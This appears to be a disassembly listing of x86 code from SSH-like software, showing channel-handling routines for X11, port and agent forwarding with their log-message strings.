08058ad8  8b 85 d0 bf ff ff        mov     0xffffbfd0(%ebp),%eax   ;-16432 'xd0 xbf xff xff' ""
08058ade  c1 e0 05                 shl     $0x5,%eax
08058ae1  03 85 d0 bf ff ff        add     0xffffbfd0(%ebp),%eax   ;-16432 'xd0 xbf xff xff' ""
08058ae7  8b 95 d0 bf ff ff        mov     0xffffbfd0(%ebp),%edx   ;-16432 'xd0 xbf xff xff' ""
08058aed  8d 04 42                 lea     (%edx,%eax,2),%eax
08058af0  8b 15 48 7e 07 08        mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058af6  8d 34 82                 lea     (%edx,%eax,4),%esi
08058af9  8b 06                    mov     (%esi),%eax
08058afb  83 f8 0a                 cmp     $0xa,%eax
08058afe  0f 87 13 04 00 00        ja      08058f17 <Unknown0192+0x467>   ;1043 'x13 x4 x0 x0' ""
08058b04  ff 24 85 80 23 07 08     jmp     *0x8072380(,%eax,4)   ;[in .rodata] 134582039 'x17 x8f x5 x8' ""
08058b0b  90                       nop
08058b0c  8b 46 04                 mov     0x4(%esi),%eax
08058b0f  89 c2                    mov     %eax,%edx
08058b11  c1 ea 05                 shr     $0x5,%edx
08058b14  83 e0 1f                 and     $0x1f,%eax
08058b17  8b 5d 08                 mov     0x8(%ebp),%ebx
08058b1a  0f a3 04 93              bt      %eax,(%ebx,%edx,4)
08058b1e  0f 92 c0                 setb    %al
08058b21  84 c0                    test    %al,%al
08058b23  0f 84 ee 03 00 00        je      08058f17 <Unknown0192+0x467>   ;1006 'xee x3 x0 x0' ""
08058b29  83 ec 0c                 sub     $0xc,%esp
08058b2c  68 1c 22 07 08           push    $0x807221c   ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11
                                                           connection requested."
08058b31  e8 4a 72 ff ff           call    0804fd80 <Unknown0039>
08058b36  83 c4 0c                 add     $0xc,%esp
08058b39  8d 85 d4 bf ff ff        lea     0xffffbfd4(%ebp),%eax   ;-16428 'xd4 xbf xff xff' ""
08058b3f  50                       push    %eax
08058b40  8d 45 d8                 lea     0xffffffd8(%ebp),%eax
08058b43  50                       push    %eax
08058b44  ff 76 04                 pushl   0x4(%esi)
08058b47  c7 85 d4 bf ff ff 10 00 00 00  movl   $0x10,0xffffbfd4(%ebp)   ;16 'x10 x0 x0 x0' ""
08058b51  e8 26 13 ff ff           call    08049e7c <accept>
08058b56  89 c7                    mov     %eax,%edi
08058b58  83 c4 10                 add     $0x10,%esp
08058b5b  85 ff                    test    %edi,%edi
08058b5d  79 25                    jns     08058b84 <Unknown0192+0xd4>
08058b5f  83 ec 10                 sub     $0x10,%esp
08058b62  e8 d5 12 ff ff           call    08049e3c <__errno_location>
08058b67  5b                       pop     %ebx
08058b68  ff 30                    pushl   (%eax)
08058b6a  e8 7d 12 ff ff           call    08049dec <strerror>
08058b6f  5a                       pop     %edx
08058b70  59                       pop     %ecx
08058b71  50                       push    %eax
08058b72  68 36 22 07 08           push    $0x8072236   ;[in .rodata] 1701012321 'x61 x63 x63 x65' "accept:
                                                           %.100s"
08058b77  e8 8c 72 ff ff           call    0804fe08 <Unknown0040>
08058b7c  e9 8d 03 00 00           jmp     08058f0e <Unknown0192+0x45e>   ;909 'x8d x3 x0 x0' ""
08058b81  8d 76 00                 lea     0x0(%esi),%esi
08058b84  83 ec 0c                 sub     $0xc,%esp
08058b87  57                       push    %edi
08058b88  e8 bb 7d ff ff           call    08050948 <Unknown0054>
08058b8d  89 3c 24                 mov     %edi,(%esp,1)
08058b90  89 c3                    mov     %eax,%ebx
08058b92  e8 f5 82 ff ff           call    08050e8c <Unknown0057>
08058b97  89 04 24                 mov     %eax,(%esp,1)
08058b9a  53                       push    %ebx
```

```
08058b9b  68 60 22 07 08              push     $0x8072260   ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11
                                                            connection from %.200s port %d"
08058ba0  68 00 40 00 00              push     $0x4000   ;16384 'x0 x40 x0 x0' ""
08058ba5  8d b5 d8 bf ff ff           lea      0xffffbfd8(%ebp),%esi   ;-16424 'xd8 xbf xff xff' ""
08058bab  56                          push     %esi
08058bac  e8 2b 17 ff ff              call     0804a2dc <snprintf>
08058bb1  83 c4 14                    add      $0x14,%esp
08058bb4  53                          push     %ebx
08058bb5  e8 56 e3 ff ff              call     08056f10 <Unknown0172>
08058bba  89 34 24                    mov      %esi,(%esp,1)
08058bbd  e8 76 e3 ff ff              call     08056f38 <Unknown0173>
08058bc2  83 c4 0c                    add      $0xc,%esp
08058bc5  50                          push     %eax
08058bc6  57                          push     %edi
08058bc7  6a 03                       push     $0x3
08058bc9  e8 9e f3 ff ff              call     08057f6c <Unknown0180>
08058bce  89 c3                       mov      %eax,%ebx
08058bd0  c1 e0 05                    shl      $0x5,%eax
08058bd3  01 d8                       add      %ebx,%eax
08058bd5  8d 04 43                    lea      (%ebx,%eax,2),%eax
08058bd8  8b 15 48 7e 07 08           mov      0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058bde  c7 84 82 08 01 00 00 01 00 00 00   movl   $0x1,0x108(%edx,%eax,4)   ;1 'x1 x0 x0 x0' ""
08058be9  c7 04 24 1b 00 00 00        movl     $0x1b,(%esp,1)   ;27 'x1b x0 x0 x0' ""
08058bf0  e8 1f d4 ff ff              call     08056014 <Unknown0138>
08058bf5  89 1c 24                    mov      %ebx,(%esp,1)
08058bf8  e8 77 d4 ff ff              call     08056074 <Unknown0141>
08058bfd  a1 84 7e 07 08              mov      0x8077e84,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08058c02  83 c4 10                    add      $0x10,%esp
08058c05  85 c0                       test     %eax,%eax
08058c07  74 1c                       je       08058c25 <Unknown0192+0x175>
08058c09  fc                          cld
08058c0a  31 c0                       xor      %eax,%eax
08058c0c  89 f7                       mov      %esi,%edi
08058c0e  b9 ff ff ff ff              mov      $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08058c13  f2 ae                       repnz scas %es:(%edi),%al
08058c15  f7 d1                       not      %ecx
08058c17  83 ec 08                    sub      $0x8,%esp
08058c1a  49                          dec      %ecx
08058c1b  51                          push     %ecx
08058c1c  56                          push     %esi
08058c1d  e8 6a d4 ff ff              call     0805608c <Unknown0142>
08058c22  83 c4 10                    add      $0x10,%esp
08058c25  e8 92 d4 ff ff              call     080560bc <Unknown0144>
08058c2a  e9 e2 02 00 00              jmp      08058f11 <Unknown0192+0x461>   ;738 'xe2 x2 x0 x0' ""
08058c2f  90                          nop
08058c30  8b 46 04                    mov      0x4(%esi),%eax
08058c33  89 c2                       mov      %eax,%edx
08058c35  c1 ea 05                    shr      $0x5,%edx
08058c38  83 e0 1f                    and      $0x1f,%eax
08058c3b  8b 5d 08                    mov      0x8(%ebp),%ebx
08058c3e  0f a3 04 93                 bt       %eax,(%ebx,%edx,4)
08058c42  0f 92 c0                    setb     %al
08058c45  84 c0                       test     %al,%al
08058c47  0f 84 ca 02 00 00           je       08058f17 <Unknown0192+0x467>   ;714 'xca x2 x0 x0' ""
08058c4d  ff b6 fc 00 00 00           pushl    0xfc(%esi)   ;252 'xfc x0 x0 x0' ""
08058c53  8d 46 34                    lea      0x34(%esi),%eax
08058c56  50                          push     %eax
08058c57  89 85 cc bf ff ff           mov      %eax,0xffffbfcc(%ebp)   ;-16436 'xcc xbf xff xff' ""
08058c5d  ff b6 00 01 00 00           pushl    0x100(%esi)   ;256 'x0 x1 x0 x0' ""
08058c63  68 a0 22 07 08              push     $0x80722a0   ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                            to port %d forwarding to %.100s:%d requested."
08058c68  e8 13 71 ff ff              call     0804fd80 <Unknown0039>
08058c6d  83 c4 0c                    add      $0xc,%esp
08058c70  8d 85 d4 bf ff ff           lea      0xffffbfd4(%ebp),%eax   ;-16428 'xd4 xbf xff xff' ""
08058c76  50                          push     %eax
08058c77  8d 45 d8                    lea      0xffffffd8(%ebp),%eax
08058c7a  50                          push     %eax
08058c7b  ff 76 04                    pushl    0x4(%esi)
08058c7e  c7 85 d4 bf ff ff 10 00 00 00   movl   $0x10,0xffffbfd4(%ebp)   ;16 'x10 x0 x0 x0' ""
08058c88  e8 ef 11 ff ff              call     08049e7c <accept>
08058c8d  89 c7                       mov      %eax,%edi
08058c8f  83 c4 10                    add      $0x10,%esp
08058c92  85 ff                       test     %edi,%edi
08058c94  79 1a                       jns      08058cb0 <Unknown0192+0x200>
08058c96  83 ec 10                    sub      $0x10,%esp
08058c99  e8 9e 11 ff ff              call     08049e3c <__errno_location>
08058c9e  5f                          pop      %edi
08058c9f  ff 30                       pushl    (%eax)
08058ca1  e8 46 11 ff ff              call     08049dec <strerror>
08058ca6  5b                          pop      %ebx
08058ca7  5e                          pop      %esi
08058ca8  e9 c4 fe ff ff              jmp      08058b71 <Unknown0192+0xc1>   ;-316 'xc4 xfe xff xff' ""
08058cad  8d 76 00                    lea      0x0(%esi),%esi
08058cb0  83 ec 0c                    sub      $0xc,%esp
```

```
08058cb3   57                              push    %edi
08058cb4   e8 8f 7c ff ff                  call    08050948 <Unknown0054>
08058cb9   89 c3                           mov     %eax,%ebx
08058cbb   89 3c 24                        mov     %edi,(%esp,1)
08058cbe   e8 c9 81 ff ff                  call    08050e8c <Unknown0057>
08058cc3   5a                              pop     %edx
08058cc4   59                              pop     %ecx
08058cc5   50                              push    %eax
08058cc6   53                              push    %ebx
08058cc7   ff b6 00 01 00 00               pushl   0x100(%esi)   ;256 'x0 x1 x0 x0' ""
08058ccd   68 e0 22 07 08                  push    $0x80722e0  ;[in .rodata] 1953656688 'x70 x6f x72 x74' "port %d,
                                                                   connection from %.200s port %d"
08058cd2   8d 95 d8 bf ff ff               lea     0xffffbfd8(%ebp),%edx   ;-16424 'xd8 xbf xff xff' ""
08058cd8   68 00 40 00 00                  push    $0x4000  ;16384 'x0 x40 x0 x0' ""
08058cdd   52                              push    %edx
08058cde   89 95 c8 bf ff ff               mov     %edx,0xffffbfc8(%ebp)   ;-16440 'xc8 xbf xff xff' ""
08058ce4   e8 f3 15 ff ff                  call    0804a2dc <snprintf>
08058ce9   83 c4 14                        add     $0x14,%esp
08058cec   53                              push    %ebx
08058ced   e8 1e e2 ff ff                  call    08056f10 <Unknown0172>
08058cf2   59                              pop     %ecx
08058cf3   ff b5 c8 bf ff ff               pushl   0xffffbfc8(%ebp)   ;-16440 'xc8 xbf xff xff' ""
08058cf9   e8 3a e2 ff ff                  call    08056f38 <Unknown0173>
08058cfe   83 c4 0c                        add     $0xc,%esp
08058d01   50                              push    %eax
08058d02   57                              push    %edi
08058d03   6a 03                           push    $0x3
08058d05   e8 62 f2 ff ff                  call    08057f6c <Unknown0180>
08058d0a   89 c3                           mov     %eax,%ebx
08058d0c   c7 04 24 1d 00 00 00            movl    $0x1d,(%esp,1)   ;29 'x1d x0 x0 x0' ""
08058d13   e8 fc d2 ff ff                  call    08056014 <Unknown0138>
08058d18   89 1c 24                        mov     %ebx,(%esp,1)
08058d1b   e8 54 d3 ff ff                  call    08056074 <Unknown0141>
08058d20   58                              pop     %eax
08058d21   8b bd cc bf ff ff               mov     0xffffbfcc(%ebp),%edi   ;-16436 'xcc xbf xff xff' ""
08058d27   31 c0                           xor     %eax,%eax
08058d29   fc                              cld
08058d2a   b9 ff ff ff ff                  mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08058d2f   f2 ae                           repnz scas %es:(%edi),%al
08058d31   f7 d1                           not     %ecx
08058d33   5a                              pop     %edx
08058d34   49                              dec     %ecx
08058d35   51                              push    %ecx
08058d36   ff b5 cc bf ff ff               pushl   0xffffbfcc(%ebp)   ;-16436 'xcc xbf xff xff' ""
08058d3c   e8 4b d3 ff ff                  call    0805608c <Unknown0142>
08058d41   5f                              pop     %edi
08058d42   ff b6 fc 00 00 00               pushl   0xfc(%esi)   ;252 'xfc x0 x0 x0' ""
08058d48   e8 27 d3 ff ff                  call    08056074 <Unknown0141>
08058d4d   8b 35 84 7e 07 08               mov     0x8077e84,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
08058d53   83 c4 10                        add     $0x10,%esp
08058d56   85 f6                           test    %esi,%esi
08058d58   0f 84 c7 fe ff ff               je      08058c25 <Unknown0192+0x175>   ;-313 'xc7 xfe xff xff' ""
08058d5e   8b bd c8 bf ff ff               mov     0xffffbfc8(%ebp),%edi   ;-16440 'xc8 xbf xff xff' ""
08058d64   fc                              cld
08058d65   31 c0                           xor     %eax,%eax
08058d67   b9 ff ff ff ff                  mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08058d6c   f2 ae                           repnz scas %es:(%edi),%al
08058d6e   f7 d1                           not     %ecx
08058d70   83 ec 08                        sub     $0x8,%esp
08058d73   49                              dec     %ecx
08058d74   51                              push    %ecx
08058d75   ff b5 c8 bf ff ff               pushl   0xffffbfc8(%ebp)   ;-16440 'xc8 xbf xff xff' ""
08058d7b   e9 9d fe ff ff                  jmp     08058c1d <Unknown0192+0x16d>   ;-355 'x9d xfe xff xff' ""
08058d80   8b 46 04                        mov     0x4(%esi),%eax
08058d83   89 c2                           mov     %eax,%edx
08058d85   c1 ea 05                        shr     $0x5,%edx
08058d88   83 e0 1f                        and     $0x1f,%eax
08058d8b   8b 5d 08                        mov     0x8(%ebp),%ebx
08058d8e   0f a3 04 93                     bt      %eax,(%ebx,%edx,4)
08058d92   0f 92 c0                        setb    %al
08058d95   84 c0                           test    %al,%al
08058d97   0f 84 7a 01 00 00               je      08058f17 <Unknown0192+0x467>   ;378 'x7a x1 x0 x0' "z"
08058d9d   83 ec 0c                        sub     $0xc,%esp
08058da0   68 20 23 07 08                  push    $0x8072320   ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                                   to agent proxy requested from unix domain socket."
08058da5   e8 d6 6f ff ff                  call    0804fd80 <Unknown0039>
08058daa   83 c4 0c                        add     $0xc,%esp
08058dad   8d 85 d4 bf ff ff               lea     0xffffbfd4(%ebp),%eax   ;-16428 'xd4 xbf xff xff' ""
08058db3   50                              push    %eax
08058db4   8d 45 d8                        lea     0xffffffd8(%ebp),%eax
08058db7   50                              push    %eax
08058db8   ff 76 04                        pushl   0x4(%esi)
08058dbb   c7 85 d4 bf ff ff 10 00 00 00   movl    $0x10,0xffffbfd4(%ebp)   ;16 'x10 x0 x0 x0' ""
08058dc5   e8 b2 10 ff ff                  call    08049e7c <accept>
```

```
08058dca  89 c7                    mov     %eax,%edi
08058dcc  83 c4 10                 add     $0x10,%esp
08058dcf  85 ff                    test    %edi,%edi
08058dd1  0f 88 88 fd ff ff        js      08058b5f <Unknown0192+0xaf>   ;-632 'x88 xfd xff xff' ""
08058dd7  50                       push    %eax
08058dd8  68 5d 23 07 08           push    $0x807235d   ;[in .rodata] 2003988294 'x46 x6f x72 x77' "Forwarded
                                                         agent connection"
08058ddd  68 00 40 00 00           push    $0x4000   ;16384 'x0 x40 x0 x0' ""
08058de2  8d 9d d8 bf ff ff        lea     0xffffbfd8(%ebp),%ebx   ;-16424 'xd8 xbf xff xff' ""
08058de8  53                       push    %ebx
08058de9  e8 ee 14 ff ff           call    0804a2dc <snprintf>
08058dee  89 1c 24                 mov     %ebx,(%esp,1)
08058df1  e8 42 e1 ff ff           call    08056f38 <Unknown0173>
08058df6  83 c4 0c                 add     $0xc,%esp
08058df9  50                       push    %eax
08058dfa  57                       push    %edi
08058dfb  6a 03                    push    $0x3
08058dfd  e8 6a f1 ff ff           call    08057f6c <Unknown0180>
08058e02  89 c3                    mov     %eax,%ebx
08058e04  c7 04 24 1f 00 00 00     movl    $0x1f,(%esp,1)   ;31 'x1f x0 x0 x0' ""
08058e0b  e8 04 d2 ff ff           call    08056014 <Unknown0138>
08058e10  89 1c 24                 mov     %ebx,(%esp,1)
08058e13  e8 5c d2 ff ff           call    08056074 <Unknown0141>
08058e18  e8 9f d2 ff ff           call    080560bc <Unknown0144>
08058e1d  e9 ec 00 00 00           jmp     08058f0e <Unknown0192+0x45e>   ;236 'xec x0 x0 x0' ""
08058e22  89 f6                    mov     %esi,%esi
08058e24  8b 4e 04                 mov     0x4(%esi),%ecx
08058e27  89 c8                    mov     %ecx,%eax
08058e29  89 ca                    mov     %ecx,%edx
08058e2b  83 e0 1f                 and     $0x1f,%eax
08058e2e  c1 ea 05                 shr     $0x5,%edx
08058e31  8b 5d 08                 mov     0x8(%ebp),%ebx
08058e34  0f a3 04 93              bt      %eax,(%ebx,%edx,4)
08058e38  0f 92 c0                 setb    %al
08058e3b  84 c0                    test    %al,%al
08058e3d  74 63                    je      08058ea2 <Unknown0192+0x3f2>
08058e3f  e8 34 dd ff ff           call    08056b78 <Unknown0165>
08058e44  bb 00 40 00 00           mov     $0x4000,%ebx   ;16384 'x0 x40 x0 x0' ""
08058e49  c1 e8 02                 shr     $0x2,%eax
08058e4c  39 c3                    cmp     %eax,%ebx
08058e4e  76 0a                    jbe     08058e5a <Unknown0192+0x3aa>
08058e50  e8 23 dd ff ff           call    08056b78 <Unknown0165>
08058e55  89 c3                    mov     %eax,%ebx
08058e57  c1 eb 02                 shr     $0x2,%ebx
08058e5a  57                       push    %edi
08058e5b  53                       push    %ebx
08058e5c  8d bd d8 bf ff ff        lea     0xffffbfd8(%ebp),%edi   ;-16424 'xd8 xbf xff xff' ""
08058e62  57                       push    %edi
08058e63  ff 76 04                 pushl   0x4(%esi)
08058e66  e8 41 16 ff ff           call    0804a4ac <read>
08058e6b  89 c3                    mov     %eax,%ebx
08058e6d  83 c4 10                 add     $0x10,%esp
08058e70  85 db                    test    %ebx,%ebx
08058e72  79 0a                    jns     08058e7e <Unknown0192+0x3ce>
08058e74  e8 c3 0f ff ff           call    08049e3c <__errno_location>
08058e79  83 38 0b                 cmpl    $0xb,(%eax)
08058e7c  74 21                    je      08058e9f <Unknown0192+0x3ef>
08058e7e  85 db                    test    %ebx,%ebx
08058e80  7f 0e                    jg      08058e90 <Unknown0192+0x3e0>
08058e82  83 ec 0c                 sub     $0xc,%esp
08058e85  56                       push    %esi
08058e86  e8 cd f4 ff ff           call    08058358 <Unknown0185>
08058e8b  e9 7e 00 00 00           jmp     08058f0e <Unknown0192+0x45e>   ;126 'x7e x0 x0 x0' "~"
08058e90  51                       push    %ecx
08058e91  53                       push    %ebx
08058e92  57                       push    %edi
08058e93  8d 46 14                 lea     0x14(%esi),%eax
08058e96  50                       push    %eax
08058e97  e8 e8 ca ff ff           call    08055984 <Unknown0117>
08058e9c  83 c4 10                 add     $0x10,%esp
08058e9f  8b 4e 04                 mov     0x4(%esi),%ecx
08058ea2  89 c8                    mov     %ecx,%eax
08058ea4  c1 e8 05                 shr     $0x5,%eax
08058ea7  83 e1 1f                 and     $0x1f,%ecx
08058eaa  8b 55 0c                 mov     0xc(%ebp),%edx
08058ead  0f a3 0c 82              bt      %ecx,(%edx,%eax,4)
08058eb1  0f 92 c0                 setb    %al
08058eb4  84 c0                    test    %al,%al
08058eb6  74 59                    je      08058f11 <Unknown0192+0x461>
08058eb8  83 ec 0c                 sub     $0xc,%esp
08058ebb  8d 7e 24                 lea     0x24(%esi),%edi
08058ebe  57                       push    %edi
08058ebf  e8 84 cb ff ff           call    08055a48 <Unknown0119>
08058ec4  83 c4 10                 add     $0x10,%esp
```

```
08058ec7  85 c0                 test   %eax,%eax
08058ec9  7e 46                 jle    08058f11 <Unknown0192+0x461>
08058ecb  52                    push   %edx
08058ecc  50                    push   %eax
08058ecd  53                    push   %ebx
08058ece  57                    push   %edi
08058ecf  e8 38 cc ff ff        call   08055b0c <Unknown0123>
08058ed4  5a                    pop    %edx
08058ed5  59                    pop    %ecx
08058ed6  50                    push   %eax
08058ed7  ff 76 04              pushl  0x4(%esi)
08058eda  e8 cd 0d ff ff        call   08049cac <write>
08058edf  89 c3                 mov    %eax,%ebx
08058ee1  83 c4 10              add    $0x10,%esp
08058ee4  85 db                 test   %ebx,%ebx
08058ee6  79 0a                 jns    08058ef2 <Unknown0192+0x442>
08058ee8  e8 4f 0f ff ff        call   08049e3c <__errno_location>
08058eed  83 38 0b              cmpl   $0xb,(%eax)
08058ef0  74 1f                 je     08058f11 <Unknown0192+0x461>
08058ef2  85 db                 test   %ebx,%ebx
08058ef4  7f 0e                 jg     08058f04 <Unknown0192+0x454>
08058ef6  83 ec 0c              sub    $0xc,%esp
08058ef9  56                    push   %esi
08058efa  e8 b9 f4 ff ff        call   080583b8 <Unknown0186>
08058eff  eb 0d                 jmp    08058f0e <Unknown0192+0x45e>
08058f01  8d 76 00              lea    0x0(%esi),%esi
08058f04  83 ec 08              sub    $0x8,%esp
08058f07  53                    push   %ebx
08058f08  57                    push   %edi
08058f09  e8 8e cb ff ff        call   08055a9c <Unknown0121>
08058f0e  83 c4 10              add    $0x10,%esp
08058f11  8b 0d 4c 7e 07 08     mov    0x8077e4c,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058f17  ff 85 d0 bf ff ff     incl   0xffffbfd0(%ebp)   ;-16432 'xd0 xbf xff xff' ""
08058f1d  39 8d d0 bf ff ff     cmp    %ecx,0xffffbfd0(%ebp)   ;-16432 'xd0 xbf xff xff' ""
08058f23  0f 8c af fb ff ff     jl     08058ad8 <Unknown0192+0x28>   ;-1105 'xaf xfb xff xff' ""
08058f29  8d 65 f4              lea    0xfffffff4(%ebp),%esp
08058f2c  5b                    pop    %ebx
08058f2d  5e                    pop    %esi
08058f2e  5f                    pop    %edi
08058f2f  5d                    pop    %ebp
08058f30  c3                    ret
08058f31  8d 76 00              lea    0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 193 >--------------------<
  ;
08058f34 <Unknown0193>:
08058f34  55                    push   %ebp
08058f35  89 e5                 mov    %esp,%ebp
08058f37  57                    push   %edi
08058f38  56                    push   %esi
08058f39  53                    push   %ebx
08058f3a  31 ff                 xor    %edi,%edi
08058f3c  83 ec 0c              sub    $0xc,%esp
08058f3f  c7 45 f0 00 00 00 00  movl   $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08058f46  e9 b7 00 00 00        jmp    08059002 <Unknown0193+0xce>   ;183 'xb7 x0 x0 x0' ""
08058f4b  90                    nop
08058f4c  89 fb                 mov    %edi,%ebx
08058f4e  03 1d 48 7e 07 08     add    0x8077e48,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058f54  83 3b 04              cmpl   $0x4,(%ebx)
08058f57  0f 85 9c 00 00 00     jne    08058ff9 <Unknown0193+0xc5>   ;156 'x9c x0 x0 x0' ""
08058f5d  83 ec 0c              sub    $0xc,%esp
08058f60  8d 43 14              lea    0x14(%ebx),%eax
08058f63  50                    push   %eax
08058f64  e8 df ca ff ff        call   08055a48 <Unknown0119>
08058f69  89 c6                 mov    %eax,%esi
08058f6b  83 c4 10              add    $0x10,%esp
08058f6e  85 f6                 test   %esi,%esi
08058f70  7e 72                 jle    08058fe4 <Unknown0193+0xb0>
08058f72  e8 e5 db ff ff        call   08056b5c <Unknown0163>
08058f77  85 c0                 test   %eax,%eax
08058f79  74 11                 je     08058f8c <Unknown0193+0x58>
08058f7b  81 fe 00 02 00 00     cmp    $0x200,%esi   ;512 'x0 x2 x0 x0' ""
08058f81  7e 2a                 jle    08058fad <Unknown0193+0x79>
08058f83  be 00 02 00 00        mov    $0x200,%esi   ;512 'x0 x2 x0 x0' ""
08058f88  eb 23                 jmp    08058fad <Unknown0193+0x79>
08058f8a  89 f6                 mov    %esi,%esi
08058f8c  81 fe 00 20 00 00     cmp    $0x2000,%esi   ;8192 'x0 x20 x0 x0' ""
08058f92  7e 05                 jle    08058f99 <Unknown0193+0x65>
08058f94  be 00 20 00 00        mov    $0x2000,%esi   ;8192 'x0 x20 x0 x0' ""
08058f99  e8 da db ff ff        call   08056b78 <Unknown0165>
08058f9e  d1 e8                 shr    %eax
08058fa0  39 c6                 cmp    %eax,%esi
```

```
08058fa2  76 09                   jbe     08058fad <Unknown0193+0x79>
08058fa4  e8 cf db ff ff          call    08056b78 <Unknown0165>
08058fa9  89 c6                   mov     %eax,%esi
08058fab  d1 ee                   shr     %esi
08058fad  83 ec 0c                sub     $0xc,%esp
08058fb0  6a 17                   push    $0x17
08058fb2  e8 5d d0 ff ff          call    08056014 <Unknown0138>
08058fb7  5a                      pop     %edx
08058fb8  ff 73 08                pushl   0x8(%ebx)
08058fbb  e8 b4 d0 ff ff          call    08056074 <Unknown0141>
08058fc0  59                      pop     %ecx
08058fc1  58                      pop     %eax
08058fc2  56                      push    %esi
08058fc3  83 c3 14                add     $0x14,%ebx
08058fc6  53                      push    %ebx
08058fc7  e8 40 cb ff ff          call    08055b0c <Unknown0123>
08058fcc  89 04 24                mov     %eax,(%esp,1)
08058fcf  e8 b8 d0 ff ff          call    0805608c <Unknown0142>
08058fd4  e8 e3 d0 ff ff          call    080560bc <Unknown0144>
08058fd9  58                      pop     %eax
08058fda  5a                      pop     %edx
08058fdb  56                      push    %esi
08058fdc  53                      push    %ebx
08058fdd  e8 ba ca ff ff          call    08055a9c <Unknown0121>
08058fe2  eb 12                   jmp     08058ff6 <Unknown0193+0xc2>
08058fe4  8b 43 10                mov     0x10(%ebx),%eax
08058fe7  83 e0 05                and     $0x5,%eax
08058fea  48                      dec     %eax
08058feb  75 0c                   jne     08058ff9 <Unknown0193+0xc5>
08058fed  83 ec 0c                sub     $0xc,%esp
08058ff0  53                      push    %ebx
08058ff1  e8 ae f2 ff ff          call    080582a4 <Unknown0183>
08058ff6  83 c4 10                add     $0x10,%esp
08058ff9  81 c7 0c 01 00 00       add     $0x10c,%edi  ;268 'xc x1 x0 x0' ""
08058fff  ff 45 f0                incl    0xfffffff0(%ebp)
08059002  8b 45 f0                mov     0xfffffff0(%ebp),%eax
08059005  3b 05 4c 7e 07 08       cmp     0x8077e4c,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0805900b  7d 0d                   jge     0805901a <Unknown0193+0xe6>
0805900d  e8 76 d9 ff ff          call    08056988 <Unknown0161>
08059012  85 c0                   test    %eax,%eax
08059014  0f 85 32 ff ff ff       jne     08058f4c <Unknown0193+0x18>  ;-206 'x32 xff xff xff' "2"
0805901a  8d 65 f4                lea     0xfffffff4(%ebp),%esp
0805901d  5b                      pop     %ebx
0805901e  5e                      pop     %esi
0805901f  5f                      pop     %edi
08059020  5d                      pop     %ebp
08059021  c3                      ret
08059022  89 f6                   mov     %esi,%esi


   ;
   ; >----------------------<  Subroutine # 194 >----------------------<
   ;
08059024 <Unknown0194>:
08059024  55                      push    %ebp
08059025  89 e5                   mov     %esp,%ebp
08059027  56                      push    %esi
08059028  53                      push    %ebx
08059029  83 ec 10                sub     $0x10,%esp
0805902c  e8 d3 d6 ff ff          call    08056704 <Unknown0151>
08059031  89 c3                   mov     %eax,%ebx
08059033  85 db                   test    %ebx,%ebx
08059035  78 1d                   js      08059054 <Unknown0194+0x30>
08059037  3b 1d 4c 7e 07 08       cmp     0x8077e4c,%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805903d  7d 15                   jge     08059054 <Unknown0194+0x30>
0805903f  c1 e0 05                shl     $0x5,%eax
08059042  01 d8                   add     %ebx,%eax
08059044  8b 15 48 7e 07 08       mov     0x8077e48,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805904a  8d 04 43                lea     (%ebx,%eax,2),%eax
0805904d  8b 0c 82                mov     (%edx,%eax,4),%ecx
08059050  85 c9                   test    %ecx,%ecx
08059052  75 17                   jne     0805906b <Unknown0194+0x47>
08059054  83 ec 08                sub     $0x8,%esp
08059057  53                      push    %ebx
08059058  68 c0 23 07 08          push    $0x80723c0  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                         data for nonexistent channel %d."
0805905d  e8 7e d7 ff ff          call    080567e0 <Unknown0157>
08059062  83 c4 10                add     $0x10,%esp
08059065  8b 15 48 7e 07 08       mov     0x8077e48,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805906b  89 d8                   mov     %ebx,%eax
0805906d  c1 e0 05                shl     $0x5,%eax
08059070  01 d8                   add     %ebx,%eax
08059072  8d 04 43                lea     (%ebx,%eax,2),%eax
08059075  8b 04 82                mov     (%edx,%eax,4),%eax
```

```
08059078  83 f8 04              cmp     $0x4,%eax
0805907b  74 0f                 je      0805908c <Unknown0194+0x68>
0805907d  83 f8 09              cmp     $0x9,%eax
08059080  74 0a                 je      0805908c <Unknown0194+0x68>
08059082  e8 c1 d6 ff ff        call    08056748 <Unknown0154>
08059087  eb 74                 jmp     080590fd <Unknown0194+0xd9>
08059089  8d 76 00              lea     0x0(%esi),%esi
0805908c  89 d8                 mov     %ebx,%eax
0805908e  c1 e0 05              shl     $0x5,%eax
08059091  01 d8                 add     %ebx,%eax
08059093  8d 04 43              lea     (%ebx,%eax,2),%eax
08059096  8d 34 85 00 00 00 00  lea     0x0(,%eax,4),%esi  ;0 'x0 x0 x0 x0' ""
0805909d  f6 44 32 10 08        testb   $0x8,0x10(%edx,%esi,1)
080590a2  74 17                 je      080590bb <Unknown0194+0x97>
080590a4  83 ec 08              sub     $0x8,%esp
080590a7  53                    push    %ebx
080590a8  68 00 24 07 08        push    $0x8072400  ;[in .rodata] 1701344335 'x4f x74 x68 x65' "Other party
                                                     sent data after eof for channel %d."
080590ad  e8 2e d7 ff ff        call    080567e0 <Unknown0157>
080590b2  83 c4 10              add     $0x10,%esp
080590b5  8b 15 48 7e 07 08     mov     0x8077e48,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
080590bb  f6 44 32 10 02        testb   $0x2,0x10(%edx,%esi,1)
080590c0  75 36                 jne     080590f8 <Unknown0194+0xd4>
080590c2  83 ec 0c              sub     $0xc,%esp
080590c5  8d 45 f4              lea     0xfffffff4(%ebp),%eax
080590c8  50                    push    %eax
